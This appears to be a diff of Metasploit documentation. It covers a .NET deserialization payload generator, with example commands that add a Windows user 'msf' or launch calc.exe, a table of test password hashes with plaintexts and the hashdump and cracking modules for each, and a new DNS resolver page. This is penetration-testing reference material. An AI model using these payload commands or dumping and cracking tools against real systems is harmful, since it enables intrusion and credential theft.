aux_links:
|
||||
|
||||
@@ -342,7 +342,7 @@ The result object now as a `.to_h` method which returns a hash compatible with o
|
||||
|
||||
In the case of a success we build some info hashes and call `create_credential`. This is a method found in the metasploit-credential gem under `lib/metasploit/credential/creation.rb` in a mixin called `Metasploit::Credential::Creation`. This mixin is included in the Report mixin, so if your module includes that mixin you'll get these methods for free.
|
||||
|
||||
`create_credential` creates a `Metasploit::Credential::Core`. We then take that core, the service data, and merge it with some additional data. This additional data includes the access level, the current time (to update last_attempted_at on the `Metasploit::Credential::Login`), the the status.
|
||||
`create_credential` creates a `Metasploit::Credential::Core`. We then take that core, the service data, and merge it with some additional data. This additional data includes the access level, the current time (to update last_attempted_at on the `Metasploit::Credential::Login`), the status.
|
||||
|
||||
Finally, for a success, we output the result to the console.
|
||||
|
||||
|
||||
+1
@@ -70,3 +70,4 @@ Example:
|
||||
| FIRST_ATTEMPT_FAIL | The module may fail for the first attempt |
|
||||
| REPEATABLE_SESSION | The module is expected to get a session every time it runs |
|
||||
| UNRELIABLE_SESSION | The module isn't expected to get a shell reliably (such as only once) |
|
||||
| EVENT_DEPENDENT | The module may not execute the payload until an external event occurs. For instance, a cron job, machine restart, user interaction within a GUI element, etc |
|
||||
|
||||
@@ -82,24 +82,41 @@ Generate a .NET deserialization payload that will execute an operating system
|
||||
command using the specified gadget chain and formatter.
|
||||
|
||||
Available formatters:
|
||||
* BinaryFormatter
|
||||
* LosFormatter
|
||||
* SoapFormatter
|
||||
* BinaryFormatter
|
||||
* LosFormatter
|
||||
* SoapFormatter
|
||||
|
||||
Available gadget chains:
|
||||
* TextFormattingRunProperties
|
||||
* TypeConfuseDelegate
|
||||
* WindowsIdentity
|
||||
* ClaimsPrincipal
|
||||
* DataSet
|
||||
* DataSetTypeSpoof
|
||||
* ObjectDataProvider
|
||||
* TextFormattingRunProperties
|
||||
* TypeConfuseDelegate
|
||||
* WindowsIdentity
|
||||
|
||||
Example: ./dot_net.rb -c "net user msf msf /ADD" -f BinaryFormatter -g TextFormattingRunProperties
|
||||
Available HMAC algorithms: SHA1, HMACSHA256, HMACSHA384, HMACSHA512, MD5
|
||||
|
||||
Specific options:
|
||||
-c, --command <String> The command to run
|
||||
-f, --formatter <String> The formatter to use (default: BinaryFormatter)
|
||||
-g, --gadget <String> The gadget chain to use (default: TextFormattingRunProperties)
|
||||
-o, --output <String> The output format to use (default: raw, see: --list-output-formats)
|
||||
--list-output-formats List available output formats, for use with --output
|
||||
-h, --help Show this message
|
||||
Examples:
|
||||
./dot_net.rb -c "net user msf msf /ADD" -f BinaryFormatter -g TypeConfuseDelegate -o base64
|
||||
./dot_net.rb -c "calc.exe" -f LosFormatter -g TextFormattingRunProperties \
|
||||
--viewstate-validation-key deadbeef --viewstate-validation-algorithm SHA1
|
||||
|
||||
General options:
|
||||
-h, --help Show this message
|
||||
-c, --command <String> The command to run
|
||||
-f, --formatter <String> The formatter to use (default: BinaryFormatter)
|
||||
-g, --gadget <String> The gadget chain to use (default: TextFormattingRunProperties)
|
||||
-o, --output <String> The output format to use (default: raw, see: --list-output-formats)
|
||||
--list-output-formats List available output formats, for use with --output
|
||||
|
||||
ViewState related options:
|
||||
--viewstate-generator <String>
|
||||
The ViewState generator string to use
|
||||
--viewstate-validation-algorithm <String>
|
||||
The validation algorithm (default: SHA1, see: Available HMAC algorithms)
|
||||
--viewstate-validation-key <HexString>
|
||||
The validationKey from the web.config file
|
||||
```
|
||||
|
||||
The `-g` / `--gadget` option maps to the *gadget_chain* argument for the
|
||||
|
||||
@@ -85,6 +85,15 @@ This section will cover the differences between the two crackers. This is not a
|
||||
| NetNTLMv1 | netntlm | 5500 |
|
||||
| NetNTLMv2 | netntlmv2 | 5600 |
|
||||
| pbkdf2-sha256 | PBKDF2-HMAC-SHA256 | 10900 |
|
||||
| Android (Samsung) SHA1 | | 5800 |
|
||||
| Android (non-Samsung) SHA1 | | 110 |
|
||||
| Android MD5 | | 10 |
|
||||
| xsha | xsha | 122 |
|
||||
| xsha512 | xsha512 | 1722 |
|
||||
| PBKDF2-HMAC-SHA512 | PBKDF2-HMAC-SHA512 | 7100 |
|
||||
| PBKDF2-HMAC-SHA1 | PBKDF2-HMAC-SHA1 | 12001 |
|
||||
| PHPass | phpass | 400 |
|
||||
| mediawiki | mediawiki | 3711 |
|
||||
|
||||
While Metasploit standardizes with the JtR format, the hashcat [library](https://github.com/rapid7/metasploit-framework/blob/master/lib/metasploit/framework/password_crackers/cracker.rb) includes the `jtr_format_to_hashcat_format` function to translate from jtr to hashcat.
|
||||
|
||||
@@ -136,6 +145,8 @@ creds add user:lm_password ntlm:E52CAC67419A9A224A3B108F3FA6CB6D:8846F7EAEE8FB11
|
||||
creds add user:nt_password ntlm:AAD3B435B51404EEAAD3B435B51404EE:8846F7EAEE8FB117AD06BDD830B7586C jtr:nt
|
||||
creds add user:u4-netntlm hash:u4-netntlm::kNS:338d08f8e26de93300000000000000000000000000000000:9526fb8c23a90751cdd619b6cea564742e1e4bf33006ba41:cb8086049ec4736c jtr:netntlm
|
||||
creds add user:admin hash:admin::N46iSNekpT:08ca45b7d7ea58ee:88dcbe4446168966a153a0064958dac6:5c7830315c7830310000000000000b45c67103d07d7b95acd12ffa11230e0000000052920b85f78d013c31cdb3b92f5d765c783030 jtr:netntlmv2
|
||||
creds add user:mscash-test1 hash:M$test1#64cd29e36a8431a2b111378564a10631 jtr:mscash
|
||||
creds add user:mscash2-hashcat hash:$DCC2$10240#tom#e4e938d12fe5974dc42a90120bd9c90f jtr:mscash2
|
||||
# sql
|
||||
creds add user:mssql05_toto hash:0x01004086CEB6BF932BC4151A1AF1F13CD17301D70816A8886908 jtr:mssql05
|
||||
creds add user:mssql_foo hash:0x0100A607BA7C54A24D17B565C59F1743776A10250F581D482DA8B6D6261460D3F53B279CC6913CE747006A2E3254 jtr:mssql
|
||||
@@ -152,7 +163,20 @@ creds add user:oracle11_epsilon hash:'S:8F2D65FB5547B71C8DA3760F10960428CD307B1C
|
||||
creds add user:oracle12c_epsilon hash:'H:DC9894A01797D91D92ECA1DA66242209;T:E3243B98974159CC24FD2C9A8B30BA62E0E83B6CA2FC7C55177C3A7F82602E3BDD17CEB9B9091CF9DAD672B8BE961A9EAC4D344BDBA878EDC5DCB5899F689EBD8DD1BE3F67BFF9813A464382381AB36B' jtr:pbkdf2,oracle12c
|
||||
## postgres uses username, so we can't override that here
|
||||
creds add user:example postgres:md5be86a79bf2043622d58d5453c47d4860
|
||||
## other
|
||||
# mobile
|
||||
creds add user:samsungsha1 hash:D1B19A90B87FC10C304E657F37162445DAE27D16:a006983800cc3dd1 jtr:android-samsung-sha1
|
||||
creds add user:androidsha1 hash:9860A48CA459D054F3FEF0F8518CF6872923DAE2:81fcb23bcadd6c5 jtr:android-sha1
|
||||
creds add user:androidmd5 hash:1C0A0FDB673FBA36BEAEB078322C7393:81fcb23bcadd6c5 jtr:android-md5
|
||||
# OSX
|
||||
creds add user:xsha_hashcat hash:1430823483d07626ef8be3fda2ff056d0dfd818dbfe47683 jtr:xsha
|
||||
creds add user:pbkdf2_hashcat hash:$ml$35460$93a94bd24b5de64d79a5e49fa372827e739f4d7b6975c752c9a0ff1e5cf72e05$752351df64dd2ce9dc9c64a72ad91de6581a15c19176266b44d98919dfa81f0f96cbcb20a1ffb400718c20382030f637892f776627d34e021bad4f81b7de8222 jtr:PBKDF2-HMAC-SHA512
|
||||
creds add user:xsha512_hashcat hash:648742485c9b0acd786a233b2330197223118111b481abfa0ab8b3e8ede5f014fc7c523991c007db6882680b09962d16fd9c45568260531bdb34804a5e31c22b4cfeb32d jtr:xsha512
|
||||
# webapps
|
||||
creds add user:mediawiki_hashcat hash:$B$56668501$0ce106caa70af57fd525aeaf80ef2898 jtr:mediawiki
|
||||
creds add user:phpass_p_hashcat hash:$P$984478476IagS59wHZvyQMArzfx58u. jtr:phpass
|
||||
creds add user:phpass_h_hashcat hash:$H$984478476IagS59wHZvyQMArzfx58u. jtr:phpass
|
||||
creds add user:atlassian_hashcat hash:{PKCS5S2}NzIyNzM0NzY3NTIwNjI3MdDDis7wPxSbSzfFqDGf7u/L00kSEnupbz36XCL0m7wa jtr:PBKDF2-HMAC-SHA1
|
||||
# other
|
||||
creds add user:hmac_password hash:'<3263520797@127.0.0.1>#3f089332842764e71f8400ede97a84c9' jtr:hmac-md5
|
||||
creds add user:vmware_ldap hash:'$dynamic_82$a702505b8a67b45065a6a7ff81ec6685f08d06568e478e1a7695484a934b19a28b94f58595d4de68b27771362bc2b52444a0ed03e980e11ad5e5ffa6daa9e7e1$HEX$171ada255464a439569352c60258e7c6' jtr:dynamic_82
|
||||
creds add user:admin hash:'$pbkdf2-sha256$260000$Q1hzYjU5dFNMWm05QUJCTg$s.vmjGlIV0ZKV1Sp3dTdrcn/i9CTqxPZ0klve4HreeU' jtr:pbkdf2-sha256
|
||||
@@ -160,32 +184,44 @@ creds add user:admin hash:'$pbkdf2-sha256$260000$Q1hzYjU5dFNMWm05QUJCTg$s.vmjGlI
|
||||
|
||||
This data breaks down to the following table:
|
||||
|
||||
| | Hash Type | Username | Hash | Password | jtr format | Modules which dump this info | Modules which crack this | | | |
|
||||
|---|--------------------------------------|--------------------|------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------|--------------|--------------------|---------------------------------------------------|-----------------------------------------------------------|---|---|---|
|
||||
| | DES | des_password | `rEK1ecacw.7.c` | password | des | | auxiliary/analyze/crack_aix auxiliary/analyze/crack_linux | | | |
|
||||
| | MD5 | md5_password | `$1$O3JMY.Tw$AdLnLjQ/5jXF9.MTp3gHv/` | password | md5 | | auxiliary/analyze/crack_linux | | | |
|
||||
| | BSDi | bsdi_password | `_J9..K0AyUubDrfOgO4s` | password | bsdi | | auxiliary/analyze/crack_linux | | | |
|
||||
| | SHA256 | sha256_password | `$5$MnfsQ4iN$ZMTppKN16y/tIsUYs/obHlhdP.Os80yXhTurpBMUbA5` | password | sha256,crypt | | auxiliary/analyze/crack_linux | | | |
|
||||
| | SHA512 | sha512_password | `$6$zWwwXKNj$gLAOoZCjcr8p/.VgV/FkGC3NX7BsXys3KHYePfuIGMNjY83dVxugPYlxVg/evpcVEJLT/rSwZcDMlVVf/bhf.1` | password | sha512,crypt | | auxiliary/analyze/crack_linux | | | |
|
||||
| | Blowfish | blowfish_password | `$2a$05$bvIG6Nmid91Mu9RcmmWZfO5HJIMCT8riNW0hEp8f6/FuA2/mHZFpe` | password | bf | | auxiliary/analyze/crack_linux | | | |
|
||||
| | Lanman | lm_password | `E52CAC67419A9A224A3B108F3FA6CB6D:8846F7EAEE8FB117AD06BDD830B7586C` | password | lm | | auxiliary/analyze/crack_windows | | | |
|
||||
| | NTLM | nt_password | `AAD3B435B51404EEAAD3B435B51404EE:8846F7EAEE8FB117AD06BDD830B7586C` | password | nt | | auxiliary/analyze/crack_windows | | | |
|
||||
| | NetNTLMv1 | u4-netntlm | `u4-netntlm::kNS:338d08f8e26de93300000000000000000000000000000000:9526fb8c23a90751cdd619b6cea564742e1e4bf33006ba41:cb8086049ec4736c` | hashcat | netntlm | | auxiliary/analyze/crack_windows | | | |
|
||||
| | NetNTLMv2 | admin | `admin::N46iSNekpT:08ca45b7d7ea58ee:88dcbe4446168966a153a0064958dac6:5c7830315c7830310000000000000b45c67103d07d7b95acd12ffa11230e0000000052920b85f78d013c31cdb3b92f5d765c783030` | hashcat | netntlmv2 | | auxiliary/analyze/crack_windows | | | |
|
||||
| | MSSQL (2005) | mssql05_toto | `0x01004086CEB6BF932BC4151A1AF1F13CD17301D70816A8886908` | toto | mssql05 | auxiliary/scanner/mssql/mssql_hashdump | auxiliary/analyze/crack_databases | | | |
|
||||
| | MSSQL | mssql_foo | `0x0100A607BA7C54A24D17B565C59F1743776A10250F581D482DA8B6D6261460D3F53B279CC6913CE747006A2E3254` | foo | mssql | auxiliary/scanner/mssql/mssql_hashdump | auxiliary/analyze/crack_databases | | | |
|
||||
| | MSSQL (2012) | mssql12_Password1! | `0x0200F733058A07892C5CACE899768F89965F6BD1DED7955FE89E1C9A10E27849B0B213B5CE92CC9347ECCB34C3EFADAF2FD99BFFECD8D9150DD6AACB5D409A9D2652A4E0AF16` | Password! | mssql12 | auxiliary/scanner/mssql/mssql_hashdump | auxiliary/analyze/crack_databases | | | |
|
||||
| | MySQL | mysql_probe | `445ff82636a7ba59` | probe | mysql | auxiliary/scanner/mysql/mysql_hashdump | auxiliary/analyze/crack_databases | | | |
|
||||
| | MySQL SHA1 | mysql-sha1_tere | `*5AD8F88516BD021DD43F171E2C785C69F8E54ADB` | tere | mysql-sha1 | auxiliary/scanner/mysql/mysql_hashdump | auxiliary/analyze/crack_databases | | | |
|
||||
| | Oracle | simon | `4F8BC1809CB2AF77` | A | des,oracle | auxiliary/scanner/oracle/oracle_hashdump | auxiliary/analyze/crack_databases | | | |
|
||||
| | Oracle | SYSTEM | `9EEDFA0AD26C6D52` | THALES | des,oracle | auxiliary/scanner/oracle/oracle_hashdump | auxiliary/analyze/crack_databases | | | |
|
||||
| | Oracle 11 | DEMO | `S:8F2D65FB5547B71C8DA3760F10960428CD307B1C6271691FC55C1F56554A;H:DC9894A01797D91D92ECA1DA66242209;T:23D1F8CAC9001F69630ED2DD8DF67DD3BE5C470B5EA97B622F757FE102D8BF14BEDC94A3CC046D10858D885DB656DC0CBF899A79CD8C76B788744844CADE54EEEB4FDEC478FB7C7CBFBBAC57BA3EF22C` | epsilon | raw-sha1,oracle | auxiliary/scanner/oracle/oracle_hashdump | auxiliary/analyze/crack_databases | | | |
|
||||
| | Oracle 11 | oracle11_epsilon | `S:8F2D65FB5547B71C8DA3760F10960428CD307B1C6271691FC55C1F56554A;H:DC9894A01797D91D92ECA1DA66242209;T:23D1F8CAC9001F69630ED2DD8DF67DD3BE5C470B5EA97B622F757FE102D8BF14BEDC94A3CC046D10858D885DB656DC0CBF899A79CD8C76B788744844CADE54EEEB4FDEC478FB7C7CBFBBAC57BA3EF22C` | epsilon | raw-sha1,oracle | modules/auxiliary/scanner/oracle/oracle_hashdump | auxiliary/analyze/crack_databases | | | |
|
||||
| | Oracle 12 | oracle12_epsilon | `H:DC9894A01797D91D92ECA1DA66242209;T:E3243B98974159CC24FD2C9A8B30BA62E0E83B6CA2FC7C55177C3A7F82602E3BDD17CEB9B9091CF9DAD672B8BE961A9EAC4D344BDBA878EDC5DCB5899F689EBD8DD1BE3F67BFF9813A464382381AB36B` | epsilon | pbkdf2,oracle12c | auxiliary/scanner/oracle/oracle_hashdump | auxiliary/analyze/crack_databases | | | |
|
||||
| | Postgres | example | `md5be86a79bf2043622d58d5453c47d4860` | password | raw-md5,postgres | auxiliary/scanner/postgres/postgres_hashdump | auxiliary/analyze/crack_databases | | | |
|
||||
| | HMAC-MD5 | hmac_password | `<3263520797@127.0.0.1>#3f089332842764e71f8400ede97a84c9` | password | hmac-md5 | auxiliary/server/capture/smtp | None | | | |
|
||||
| | SHA512($p.$s)/dynamic_82/vmware ldap | vmware_ldap | `$dynamic_82$a702505b8a67b45065a6a7ff81ec6685f08d06568e478e1a7695484a934b19a28b94f58595d4de68b27771362bc2b52444a0ed03e980e11ad5e5ffa6daa9e7e1$HEX$171ada255464a439569352c60258e7c6` | TestPass123# | dynamic_82 | | None | | | |
|
||||
| | pbkdf2-sha256 | admin | `$pbkdf2-sha256$260000$Q1hzYjU5dFNMWm05QUJCTg$s.vmjGlIV0ZKV1Sp3dTdrcn/i9CTqxPZ0klve4HreeU` | admin | PBKDF2-HMAC-SHA256 | exploit/linux/http/apache_superset_cookie_sig_rce | auxiliary/analyze/webapp | | | |
|
||||
| Hash Type | Username | Hash | Password | jtr format | Modules which dump this info | Modules which crack this |
|
||||
| ------------------------------------ | ------------------ | ---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- | ------------ | -------------------- | ------------------------------------------------ | --------------------------------------------------------- |
|
||||
| ----------- | ---------- | ------ | ---------- | ------------ | ------------------------------ | ------------------------- |
|
||||
| DES | des_password | `rEK1ecacw.7.c` | password | des | post/aix/gather/hashdump | auxiliary/analyze/crack_aix auxiliary/analyze/crack_linux |
|
||||
| MD5 | md5_password | `$1$O3JMY.Tw$AdLnLjQ/5jXF9.MTp3gHv/` | password | md5 | post/linux/gather/hashdump | auxiliary/analyze/crack_linux |
|
||||
| BSDi | bsdi_password | `_J9..K0AyUubDrfOgO4s` | password | bsdi | post/linux/gather/hashdump | auxiliary/analyze/crack_linux |
|
||||
| SHA256 | sha256_password | `$5$MnfsQ4iN$ZMTppKN16y/tIsUYs/obHlhdP.Os80yXhTurpBMUbA5` | password | sha256,crypt | post/linux/gather/hashdump | auxiliary/analyze/crack_linux |
|
||||
| SHA512 | sha512_password | `$6$zWwwXKNj$gLAOoZCjcr8p/.VgV/FkGC3NX7BsXys3KHYePfuIGMNjY83dVxugPYlxVg/evpcVEJLT/rSwZcDMlVVf/bhf.1` | password | sha512,crypt | post/linux/gather/hashdump | auxiliary/analyze/crack_linux |
|
||||
| Blowfish | blowfish_password | `$2a$05$bvIG6Nmid91Mu9RcmmWZfO5HJIMCT8riNW0hEp8f6/FuA2/mHZFpe` | password | bf | post/linux/gather/hashdump | auxiliary/analyze/crack_linux |
|
||||
| Lanman | lm_password | `E52CAC67419A9A224A3B108F3FA6CB6D:8846F7EAEE8FB117AD06BDD830B7586C` | password | lm | post/windows/gather/hashdump | auxiliary/analyze/crack_windows |
|
||||
| NTLM | nt_password | `AAD3B435B51404EEAAD3B435B51404EE:8846F7EAEE8FB117AD06BDD830B7586C` | password | nt | post/linux/gather/hashdump | auxiliary/analyze/crack_windows |
|
||||
| NetNTLMv1 | u4-netntlm | `u4-netntlm::kNS:338d08f8e26de93300000000000000000000000000000000:9526fb8c23a90751cdd619b6cea564742e1e4bf33006ba41:cb8086049ec4736c` | hashcat | netntlm | | auxiliary/analyze/crack_windows |
|
||||
| NetNTLMv2 | admin | `admin::N46iSNekpT:08ca45b7d7ea58ee:88dcbe4446168966a153a0064958dac6:5c7830315c7830310000000000000b45c67103d07d7b95acd12ffa11230e0000000052920b85f78d013c31cdb3b92f5d765c783030` | hashcat | netntlmv2 | | auxiliary/analyze/crack_windows |
|
||||
| MSCash | mscash-test1 | `M$test1#64cd29e36a8431a2b111378564a10631` | test1 | mscash | | auxiliary/analyze/crack_windows |
|
||||
| MSCash2 | mscash2-hashcat | `$DCC2$10240#tom#e4e938d12fe5974dc42a90120bd9c90f` | hashcat | mscash2 | | auxiliary/analyze/crack_windows |
|
||||
| MSSQL (2005) | mssql05_toto | `0x01004086CEB6BF932BC4151A1AF1F13CD17301D70816A8886908` | toto | mssql05 | auxiliary/scanner/mssql/mssql_hashdump | auxiliary/analyze/crack_databases |
|
||||
| MSSQL | mssql_foo | `0x0100A607BA7C54A24D17B565C59F1743776A10250F581D482DA8B6D6261460D3F53B279CC6913CE747006A2E3254` | foo | mssql | auxiliary/scanner/mssql/mssql_hashdump | auxiliary/analyze/crack_databases |
|
||||
| MSSQL (2012) | mssql12_Password1! | `0x0200F733058A07892C5CACE899768F89965F6BD1DED7955FE89E1C9A10E27849B0B213B5CE92CC9347ECCB34C3EFADAF2FD99BFFECD8D9150DD6AACB5D409A9D2652A4E0AF16` | Password! | mssql12 | auxiliary/scanner/mssql/mssql_hashdump | auxiliary/analyze/crack_databases |
|
||||
| MySQL | mysql_probe | `445ff82636a7ba59` | probe | mysql | auxiliary/scanner/mysql/mysql_hashdump | auxiliary/analyze/crack_databases |
|
||||
| MySQL SHA1 | mysql-sha1_tere | `*5AD8F88516BD021DD43F171E2C785C69F8E54ADB` | tere | mysql-sha1 | auxiliary/scanner/mysql/mysql_hashdump | auxiliary/analyze/crack_databases |
|
||||
| Oracle | simon | `4F8BC1809CB2AF77` | A | des,oracle | auxiliary/scanner/oracle/oracle_hashdump | auxiliary/analyze/crack_databases |
|
||||
| Oracle | SYSTEM | `9EEDFA0AD26C6D52` | THALES | des,oracle | auxiliary/scanner/oracle/oracle_hashdump | auxiliary/analyze/crack_databases |
|
||||
| Oracle 11 | DEMO | `S:8F2D65FB5547B71C8DA3760F10960428CD307B1C6271691FC55C1F56554A;H:DC9894A01797D91D92ECA1DA66242209;T:23D1F8CAC9001F69630ED2DD8DF67DD3BE5C470B5EA97B622F757FE102D8BF14BEDC94A3CC046D10858D885DB656DC0CBF899A79CD8C76B788744844CADE54EEEB4FDEC478FB7C7CBFBBAC57BA3EF22C` | epsilon | raw-sha1,oracle | auxiliary/scanner/oracle/oracle_hashdump | auxiliary/analyze/crack_databases |
|
||||
| Oracle 11 | oracle11_epsilon | `S:8F2D65FB5547B71C8DA3760F10960428CD307B1C6271691FC55C1F56554A;H:DC9894A01797D91D92ECA1DA66242209;T:23D1F8CAC9001F69630ED2DD8DF67DD3BE5C470B5EA97B622F757FE102D8BF14BEDC94A3CC046D10858D885DB656DC0CBF899A79CD8C76B788744844CADE54EEEB4FDEC478FB7C7CBFBBAC57BA3EF22C` | epsilon | raw-sha1,oracle | modules/auxiliary/scanner/oracle/oracle_hashdump | auxiliary/analyze/crack_databases |
|
||||
| Oracle 12 | oracle12_epsilon | `H:DC9894A01797D91D92ECA1DA66242209;T:E3243B98974159CC24FD2C9A8B30BA62E0E83B6CA2FC7C55177C3A7F82602E3BDD17CEB9B9091CF9DAD672B8BE961A9EAC4D344BDBA878EDC5DCB5899F689EBD8DD1BE3F67BFF9813A464382381AB36B` | epsilon | pbkdf2,oracle12c | auxiliary/scanner/oracle/oracle_hashdump | auxiliary/analyze/crack_databases |
|
||||
| Postgres | example | `md5be86a79bf2043622d58d5453c47d4860` | password | raw-md5,postgres | auxiliary/scanner/postgres/postgres_hashdump | auxiliary/analyze/crack_databases |
|
||||
| Android (Samsung) SHA1 | samsungsha1 | `D1B19A90B87FC10C304E657F37162445DAE27D16:a006983800cc3dd1` | 1234 | android-samsung-sha1 | post/android/gather/hashdump | modules/auxiliary/analyze/crack_mobile |
|
||||
| Android (non-Samsung) SHA1 | androidsha1 | `9860A48CA459D054F3FEF0F8518CF6872923DAE2:81fcb23bcadd6c5` | 1234 | android-sha1 | post/android/gather/hashdump | modules/auxiliary/analyze/crack_mobile |
|
||||
| Android MD5 | androidmd5 | `1C0A0FDB673FBA36BEAEB078322C7393:81fcb23bcadd6c5` | 1234 | android-md5 | post/android/gather/hashdump | modules/auxiliary/analyze/crack_mobile |
|
||||
| OSX 10.4-10.6 | xsha_hashcat | `1430823483d07626ef8be3fda2ff056d0dfd818dbfe47683` | hashcat | xsha | post/osx/gather/hashdump | modules/auxiliary/analyze/crack_osx |
|
||||
| OSX 10.8+ | pbkdf2_hashcat | `$ml$35460$93a94bd24b5de64d79a5e49fa372827e739f4d7b6975c752c9a0ff1e5cf72e05$752351df64dd2ce9dc9c64a72ad91de6581a15c19176266b44d98919dfa81f0f9$` | hashcat | PBKDF2-HMAC-SHA512 | post/osx/gather/hashdump | modules/auxiliary/analyze/crack_osx |
|
||||
| OSX 10.7 | xsha512_hashcat | `648742485c9b0acd786a233b2330197223118111b481abfa0ab8b3e8ede5f014fc7c523991c007db6882680b09962d16fd9c45568260531bdb34804a5e31c22b4cfeb32d` | hashcat | xsha512 | post/osx/gather/hashdump | modules/auxiliary/analyze/crack_osx |
|
||||
| HMAC-MD5 | hmac_password | `<3263520797@127.0.0.1>#3f089332842764e71f8400ede97a84c9` | password | hmac-md5 | auxiliary/server/capture/smtp | |
|
||||
| SHA512($p.$s)/dynamic_82/vmware ldap | vmware_ldap | `$dynamic_82$a702505b8a67b45065a6a7ff81ec6685f08d06568e478e1a7695484a934b19a28b94f58595d4de68b27771362bc2b52444a0ed03e980e11ad5e5ffa6daa9e7e1$HEX$171ada255464a439569352c60258e7c6` | TestPass123# | dynamic_82 | | |
|
||||
| MediaWiki | mediawiki_hashcat | `$B$56668501$0ce106caa70af57fd525aeaf80ef2898` | hashcat | mediawiki | | modules/auxiliary/analyze/crack_webapps |
|
||||
| PHPPass (P type) | phpass_p_hashcat | `$P$984478476IagS59wHZvyQMArzfx58u.` | hashcat | phpass | | modules/auxiliary/analyze/crack_webapps |
|
||||
| PHPPass (H type) | phpass_h_hashcat | `$H$984478476IagS59wHZvyQMArzfx58u.` | hashcat | phpass | | modules/auxiliary/analyze/crack_webapps |
|
||||
| Atlassian | atlassian_hashcat | `{PKCS5S2}NzIyNzM0NzY3NTIwNjI3MdDDis7wPxSbSzfFqDGf7u/L00kSEnupbz36XCL0m7wa` | hashcat | PBKDF2-HMAC-SHA1 | | modules/auxiliary/analyze/crack_webapps |
|
||||
|
||||
# Adding a New Hash
|
||||
|
||||
|
||||
@@ -0,0 +1,165 @@
|
||||
# Metasploit DNS
|
||||
## Background
|
||||
Most applications that need to handle hostname to IP address lookups rely on the host operating system, either by
|
||||
passing the hostname directly to the socket-creation function or by calling a purpose built API such as `getaddrinfo`.
|
||||
This was also how Metasploit handled name lookups and would only directly communicate with a DNS server when the request
|
||||
was more involved than mapping a hostname to an IPv4 or IPv6 address.
|
||||
|
||||
One flaw in this approach is that when pivoting connections over a session, the DNS lookups would occur through the host
|
||||
on which Metasploit was running instead of the compromised host from which the connection would originate. This lead to
|
||||
two issues, the first being the aforementioned DNS leaks and the second that Metasploit could not always resolve
|
||||
hostnames that the compromised system could.
|
||||
|
||||
Starting in Metasploit 6.4, Metasploit uses an internal DNS resolution system that grants the user a high degree of
|
||||
control over the process of DNS queries.
|
||||
|
||||
## The DNS command
|
||||
Metasploit's DNS configuration is controlled by the `dns` command which has multiple subcommands.
|
||||
|
||||
The current configuration can be printed by running `dns print`:
|
||||
|
||||
```msf6
|
||||
msf6 > dns print
|
||||
Default search domain: N/A
|
||||
Default search list: lab.lan
|
||||
Current cache size: 0
|
||||
|
||||
Resolver rule entries
|
||||
=====================
|
||||
|
||||
# Rule Resolver Comm channel
|
||||
- ---- -------- ------------
|
||||
1 *
|
||||
. \_ static N/A
|
||||
. \_ 127.0.0.53
|
||||
|
||||
|
||||
Static hostnames
|
||||
================
|
||||
|
||||
Hostname IPv4 Address IPv6 Address
|
||||
-------- ------------ ------------
|
||||
localhost 127.0.0.1 ::1
|
||||
\_ 127.1.1.1
|
||||
localhost.localdomain 127.0.0.1 ::1
|
||||
localhost4 127.0.0.1
|
||||
localhost4.localdomain4 127.0.0.1
|
||||
localhost6 ::1
|
||||
localhost6.localdomain6 ::1
|
||||
```
|
||||
|
||||
The `help` subcommand can be used to display the available subcommands. The name of a subcommand can also be specified
|
||||
as an argument to `help` to display additional information about that subcommand, for example `dns help add`.
|
||||
|
||||
Metasploit's DNS system is composed of the following major components: resolver rules, static entries and the cache.
|
||||
|
||||
## DNS Resolver Rules
|
||||
DNS resolver rules are a single wildcard that is associated with zero or more resolver types. When a query name matches
|
||||
the wildcard expression, the associated resolvers are used in succession until one is capable of fulfilling the request.
|
||||
For example, a wildcard pattern of `*.lab.lan` would match `www.lab.lan` and `_ldap._tcp.lab.lan`, but not `lab.lan` or
|
||||
`msflab.lan`. Furthermore, the `*` wildcard pattern matches everything and should be used as a default rule.
|
||||
|
||||
Once a rule that matches the query name is found, the specified resolvers will be tried in order until one is capable of
|
||||
handling the request. Different resolver types can be specified to handle queries in different ways. Rules are listed
|
||||
in numeric order starting at position 1. Rules can be added to or removed from specific positions in a similar manner to
|
||||
how iptables rules can be added to and removed from a specific chain.
|
||||
|
||||
### The Black Hole Resolver
|
||||
The black hole resolver can be used to prevent queries from being resolved. It handles all query types and will prevent
|
||||
resolvers defined after it from being used. The black hole resolver is specified by using the `black-hole` keyword.
|
||||
|
||||
### The Upstream Resolver
|
||||
An upstream resolver can be used by specifying either an IPv4 or IPv6 address. When Metasploit uses this resolver, the
|
||||
defined host will be contacted over the network. A session can optionally be defined through which network traffic will
|
||||
be sent.
|
||||
|
||||
### The System Resolver
|
||||
The system resolver can be used for hostname resolution to either IPv4 or IPv6 addresses by invoking the host operating
|
||||
system's API. This is particularly useful in cases where the system's API is expected to be hooked by an external entity
|
||||
such as proxychains. The system resolver is specified by using the `system` keyword. Queries that can not be fulfilled
|
||||
by simply translating the query name to an IP address (e.g. PTR, TXT and SRV queries) will use the next resolver that is
|
||||
configured in the rule.
|
||||
|
||||
### The Static Resolver
|
||||
The static resolver can be used for hostname resolution to either IPv4 or IPv6 addresses through a static mapping that
|
||||
is configured within Metasploit. This functionality is analogous to the `hosts` file found on many systems which defines
|
||||
static hostname to IP address associations. The static resolver is specified by using the `static` keyword. Queries that
|
||||
can not be fulfilled by simply translating the query name to an IP address (e.g. PTR, TXT and SRV queries) will use the
|
||||
next resolver that is configured in the rule.
|
||||
|
||||
See [Static DNS Entries](#static-dns-entries) for configuring static entries.
|
||||
|
||||
### Example Rules
|
||||
|
||||
Define a single rule in the first position to handle all queries through three resolvers, first checking if there is a
|
||||
static entry in Metasploit then using the system resolver and finally specifying an upstream DNS server to handle any
|
||||
other query type.
|
||||
|
||||
```
|
||||
dns add --index 1 --rule * static system 192.0.2.1
|
||||
```
|
||||
|
||||
Append a rule to the end that will handle all queries for `*.lab.lan` using an upstream server contacted through session
|
||||
1.
|
||||
|
||||
```
|
||||
dns add --rule *.lab.lan --session 1 192.0.2.1
|
||||
```
|
||||
|
||||
Append a rule to drop all queries for `*.noresolve.lan` using the black hole resolver.
|
||||
|
||||
```
|
||||
dns add --rule *.noresolve.lan black-hole
|
||||
```
|
||||
|
||||
## Static DNS Entries
|
||||
Static entries used by the static resolver are configured through the `add-static` and `remove-static` subcommands. The
|
||||
currently configured entries can be viewed in the `dns print` output and all entries can be flushed with the
|
||||
`flush-static` subcommand. Static entries that are configured are shared across *all* rules in which a static resolver
|
||||
